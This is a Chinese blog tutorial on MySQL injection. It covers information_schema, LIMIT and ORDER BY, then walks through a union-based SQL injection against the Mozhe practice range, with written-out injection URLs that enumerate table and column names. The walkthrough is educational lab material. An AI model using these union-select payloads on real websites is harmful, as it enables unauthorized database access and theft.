MYSQL注入

最新推荐文章于 2022-12-20 22:41:04 发布

caiji2312

最新推荐文章于 2022-12-20 22:41:04 发布

阅读量602

点赞数

分类专栏： sql注入文章标签：其他 mysql

本文链接：https://blog.youkuaiyun.com/Khazking/article/details/121410465

版权

sql注入专栏收录该内容

7 篇文章

订阅专栏

注:MYSQL5.0以上为高版本,5.0以下为低版本

MYSQL相关知识

1.MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。

2.在MYSQL5.0以上版本中，MYSQL存在一个自带数据库名为information_schema，它是一个存储记录有所有数据库名，表名，列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

3.数据库中符号"."代表下一级，如xiaodi.user表示xiaodi数据库下的user表名。

4.常用参数

information_schema.tables：记录所有表名信息的表
information_schema.columns：记录所有列名信息的表
table_name：表名
column_name：列名
table_schema：数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本

5.MySQL 里分页一般用 LIMIT 来实现:

select* from article LIMIT 1,3
与
select * from article LIMIT 3 OFFSET 1

上面两种写法都表示取 2、3、4 三条条数据：

当 LIMIT 后面跟两个参数的时候，第一个数表示要跳过的数量，后一位表示要取的数量，例如：

select* from article LIMIT 1,3 就是跳过 1 条数据，从第 2 条数据开始取，取 3 条数据，也就是取 2、3、4 三条数据。

当 LIMIT 后面跟一个参数的时候，该参数表示要取的数据的数量。

例如 select* from article LIMIT 3 表示直接取前三条数据，类似 sqlserver 里的 top 语法。

当 LIMIT 和 OFFSET 组合使用的时候，LIMIT 后面只能有一个参数，表示要取的的数量，OFFSET表示要跳过的数量。

例如 select * from article LIMIT 3 OFFSET 1 表示跳过 1 条数据，从第 2 条数据开始取，取3条数据，也就是取 2、3、4 三条数据。

墨者mysql靶场

点击平台停机维护通知

1.利用order by判断字段数,为下一步的union select做准备

构造order by 5时页面显示空白,说明有四列

order by:

数据库

COL_A COL_B
---------- ----------
A 1
D 5
B 3
C 4

order by 1 按第一列排(默认升序) ps:降序order by 1 desc

COL_A COL_B
---------- ----------
A 1
B 3
C 4

D 5

order by 2 按第二列排(默认升序)

此时ord by 3报错

总结:

order by A,B        这个时候都是默认按升序排列
order by A desc,B   这个时候 A 降序，B 升序排列
order by A ,B desc  这个时候 A 升序，B 降序排列

即 desc 或者 asc 只对它紧跟着的第一个列名有效，其他不受影响，仍然是默认的升序。

并且可以通过ord by x来判断有有几列

2.利用 union select 1,2,3,4 联合查询，将id值设置成不成立(id=-1/id=1 and 假)，即可探测到可利用的字段数

可以发现第二列和第三列的数据是可获取的

这里用到的知识 sql注入中的union select 1,2,3...._北遇-优快云博客

3.信息收集

将2,3替换为要查询的信息

获取数据库版本：version()
获取数据库名字：database()
获取数据库用户：user()
获取操作系统：@@version_compile_os Linux

4.查询数据库表

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息：
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

#查询指定表名StormGroup_member下的列名信息
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'